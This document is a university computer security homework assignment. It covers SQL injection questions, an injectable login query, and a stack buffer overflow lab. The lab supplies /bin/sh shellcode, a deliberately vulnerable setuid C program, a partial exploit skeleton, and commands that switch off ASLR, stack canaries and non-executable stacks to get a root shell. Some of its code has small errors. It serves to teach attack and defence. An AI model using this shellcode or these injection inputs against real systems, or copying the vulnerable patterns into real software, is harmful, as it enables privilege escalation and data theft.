San Diego State University
CS574 Computer Security
Homework Assignment #4
Due: April 23, 2020 11:59 PM

● Please type the solutions using a word processor such as MS Word, Latex, or write by hand neatly and upload the scanned copy of it.
● I, _____ (sign your name here), guarantee that this homework is my independent work and I have never copied any part from other resources. Also, I acknowledge and agree with the plagiarism penalty specified in the course syllabus.
● Turn in your assignment through the blackboard before the deadline. Penalty will be applied to late submission.

1. Single-select questions (10 points):

A. During a web application security review, Alice discovered that one of her organization's applications is vulnerable to SQL injection attacks. Where would be the best place for Alice to address the root cause issue?
a. Database server configuration
b. Web application firewall
c. Web server configuration
d. Application code

B. Which of the following script is vulnerable to SQL injection attack?
a. var userName;
userName = Request.form ("userName");
var SQL = "select * from User where userName = '" + userName + "'";
b. var userName;
userName = Request.form ("userName");
c. var userName;
var SQL = "select * from User where userName = '" + userName + "'";
d. All of the mentioned

C. Any user-controlled parameter that gets processed by the application includes vulnerabilities like _____
a. Host-related information
b. Browser-related information
c. Application parameters included as part of the body of a POST request
d. All of the mentioned

D. Which of the following statement is true?
a. Parameterized data cannot be manipulated by a skilled and determined attacker
b. Procedure that constructs SQL statements should be reviewed for injection vulnerabilities
c. The primary form of SQL injection consists of indirect insertion of code
d. None of the above

E. In cross-site scripting where does the malicious script execute?
a. On the web server
b. On the attacker's system

c. In the user's browser

d. In the web app model code

2. (10 points) What are SQL Injection Attacks?

a. List down the steps involved to carry out such attacks.

b. The following figure shows a fragment of code that implements the login functionality for a database application. The code dynamically builds an SQL query and submits it to a database.

i. Suppose a user submits login, password, and pin as doe, secret, and 123. Show the SQL query that is generated.

ii. Instead, the user submits for the login field the following: "or 1 = 1 - -" What is the effect?

```
1. String login, password, pin, query
2. login = getParameter("login");
3. password = getParameter("pass");
3. pin = getParameter("pin");
4. Connection conn.createConnection("MyDataBase");
5. query = "SELECT accounts FROM users WHERE login='" +
6.      login + "'AND pass='" + password +
7.      "'AND pin=" + pin;
8. ResultSet result = conn.executeQuery(query);
9. if (result!=NULL)
10      displayAccounts(result);
11 else
12      displayAuthFailed();
```

3. (10 points) Describe how an attacker injects arbitrary code into running, vulnerable software and how they cause it to run?

4. (10 points) What types of databases are more vulnerable to SQL injections? What can you do to harden them to this type of attack?

5. (10 points) Give 5 functions that are susceptible to buffer overflow in C language. Do some research and explain why.

6. Stack buffer overflow lab

Task 1: 50 points. Tasks 2,3,4 are optional and can be done for extra credit.

In this assignment, you are given a program with buffer overflow vulnerability. Your task is to develop a scheme to exploit the vulnerability and gain root privileges. In addition to the attacks, you will be exposed to several protection schemes that have been implemented in operating systems to counter buffer-overflow attacks. You will evaluate whether the schemes work or not and explain why.

Background knowledge:

You will need to install Ubuntu 12.04 32-bit (https://releases.ubuntu.com/12.04/). You may try later versions but some countermeasures are implemented so the experiment might not be successful.

Address Space Randomization.

Several Linux distributions, including Ubuntu, use address space randomization to vary the starting address of the heap and stack. This makes guessing the addresses needed difficult. Guessing addresses is one of the critical steps in a successful buffer-overflow attack. For this lab you will need to disable these features using the following commands:

```
# sudo sysctl -w kernel.randomize_va_space=0
```

The Stack Guard Protection Scheme.

The GCC compiler implements a security mechanism called "Stack Guard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection if you

compile the program using -fno-stack-protector switch. For example, to compile a program example.c with Stack Guard disabled, you would use the following command:

```
$ gcc -fno-stack-protector example.c
```

Non-Executable Stack.

Many Linux distributions used to allow executable stacks, but this default behavior has been changed. Binary images of programs (and shared libraries) indicate whether they require executable stacks or not by marking a field in the process control block header. The kernel or dynamic linker use this marking to decide whether to make the stack of the process executable or not. The recent versions of gcc set this by default during compilation, so the stack is marked as non-executable. The compiler option to control whether the stack is executable is:

For executable stack: `$ gcc -z execstack -o example example.c`

And for a non-executable stack: `$ gcc -z noexecstack -o example example.c`

Shellcode

Before you start your attack, you need a shellcode. A shellcode is code that is put into the buffer to launch a shell. It has to be loaded in memory so we can force the vulnerable program to execute it. Consider the following program:

```
#include <stdio.h>
int main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

The shellcode you will use is the assembly version of this program. The following program demonstrates how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked (note: this has been problematic in the past).

```
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
    "\x31\xc0"          /* Line 1: xorl %eax,%eax */
    "\x50"              /* Line 2: pushl %eax */
    "\x68""//sh"        /* Line 3: pushl $0x68732f2f */
    "\x68""/bin"        /* Line 4: pushl $0x6e69622f */
    "\x89\xe3"          /* Line 5: movl %esp,%ebx */
    "\x50"              /* Line 6: pushl %eax */
    "\x53"              /* Line 7: pushl %ebx */
    "\x89\xe1"          /* Line 8: movl %esp,%ecx */
    "\x99"              /* Line 9: cdq */
    "\xb0\x0b"          /* Line 10: movb $0x0b,%al */
    "\xcd\x80"          /* Line 11: int $0x80 */;
int main(int argc, char **argv) {
    char buf[sizeof(code)];
    strcpy(buf, code);
    ((void(*)( ))buf)( );
}
```

Let's interpret the code:

1) The third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and "/sh" has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol.
2) Before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero.
3) After we setup the args for execve(), we generate an interruption by "int $0x80" and tell the OS to run predefined syscall 11 (set %al to 11), which is execve().

The Vulnerable Program

```
/* imweak.c */
/* This program has a buffer overflow vulnerability. Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int overflow(char *str) {
    char buffer[32];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv) {
    char str[320];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 320, badfile);
    overflow(str);
    printf("You failed. The code returned properly\n");
    return 1;
}
```

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to u+s (don't forget to include the execstack and -fno-stack-protector options to turn off the non-executable stack and StackGuard protections):

```
$ sudo gcc -o -g imweak -z execstack -fno-stack-protector imweak.c
$ sudo chmod u+s imweak
```

The above program has a buffer overflow vulnerability. It first reads an input from a file called "badfile", and then passes this input to another buffer in overflow(). The original input can have a maximum length of 320 bytes, but the buffer in overflow() is only 32 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called "badfile". This file is under users' control. Now, our objective is to create the contents for "badfile", such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

GDB Debugging

GDB is a good tool to check the memory status and registers when a program in running. You will need it to analyze imweak.c and figure out the layout of overflow's stack frame.

Task 1: Exploiting the Vulnerability

Below is the partially completed exploit code called "attack.c". The goal of this code is to construct contents for "badfile". In this code, the shellcode is given to you. You need to develop the rest.

```
/* attack.c */
/* A program that creates a file containing code for launching shell. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define NOP 0x90
char shellcode[]=
    "\x31\xc0"          /* Line 1: xorl %eax,%eax */
    "\x50"              /* Line 2: pushl %eax */
    "\x68""//sh"        /* Line 3: pushl $0x68732f2f */
    "\x68""/bin"        /* Line 4: pushl $0x6e69622f */
    "\x89\xe3"          /* Line 5: movl %esp,%ebx */
    "\x50"              /* Line 6: pushl %eax */
    "\x53"              /* Line 7: pushl %ebx */
    "\x89\xe1"          /* Line 8: movl %esp,%ecx */
    "\x99"              /* Line 9: cdq */
    "\xb0\x0b"          /* Line 10: movb $0x0b,%al */
```

```
    "\xcd\x80"            /* Line 11: int $0x80 */;
void main(int argc, char *argv[]) {
    char buff[320];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer,0x90, 320)
    /* Properly fill the buffer here */
    Do something here!
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buff, bsize, 1, badfile);
    fclose(badfile);
}
```

After you finish the above program, compile and run it.

```
$ gcc -o attack attack.c
$./attack
$./stack                        // launch the attack
# whoami
```

This will generate the contents for "badfile". Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell.

It should be noted that although you have obtained the "#" prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

```
# id
uid=(500) . . . euid=0(root) . . .
```

Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.

```
void main()
{
setuid(0); system("/bin/sh");
}
```

To earn credit, you need to turn in your attack.c file and **explain the steps in details**! Simply submitting a code is not working. Adding captures of your terminal output will be helpful to let us understand your approach.

Task 2: Address Randomization (optional, extra 10 credits for completing)

Now, we turn on the Ubuntu's address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? **You should describe your observation and explanation**. You can use the following instructions to turn on the address randomization:

```
# sudo sysctl -w kernel.randomize_va_space=2
```

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run ./stack in a loop and see what happens. If your exploit program is designed properly, you should be able to get a root shell eventually. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait). Run the exploit a minimum of 100 times. Do you get a root shell?

$ for counter in {1..100}; do ./stack; done

Capture your session and explain.

Task 3: Stack Guard (optional, extra 10 credits for completing)

Before working on this task, remember to turn off the address randomization first, or you will not know which protection is taking affect.

In our previous tasks, we disabled the "Stack Guard" protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you should compile the program without `-fno-stack-protector` option. Recompile the vulnerable program,

imweak.c, to use GCC's Stack Guard, execute task 1 again, and turn in a capture of your session and report your observations. **You may report any error messages you observe**.
In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use older GCC version, you may not have to disable Stack Guard.

Task 4: Non-executable Stack (optional, extra 10 credits for completing)
Before working on this task, remember to turn off the address randomization first, or you will not know which protection might be preventing your attack from working. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 1. Can you get a shell? If not, what is the problem? How does this protection scheme make your attack difficult? **You should describe your observation and explanation**.
You can use the following instructions to turn on the nonexecutable stack protection.

```
# gcc -o imweak -fno-stack-protector -z noexecstack imweak.c
```

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability.
Using the Ubuntu 12.04 VM, the non-executable stack protection works or not depending on the CPU and the setting of your virtual machine, because this protection depends on the hardware feature provided by the CPU. If you find that the non-executable stack protection does not work you may need to figure out the problem causing it. Do not spend more than 1 hour attempting to solve this problem. Turn in your solution or the steps you have taken that did not work. (I have tested 12.04 by myself and it's working.)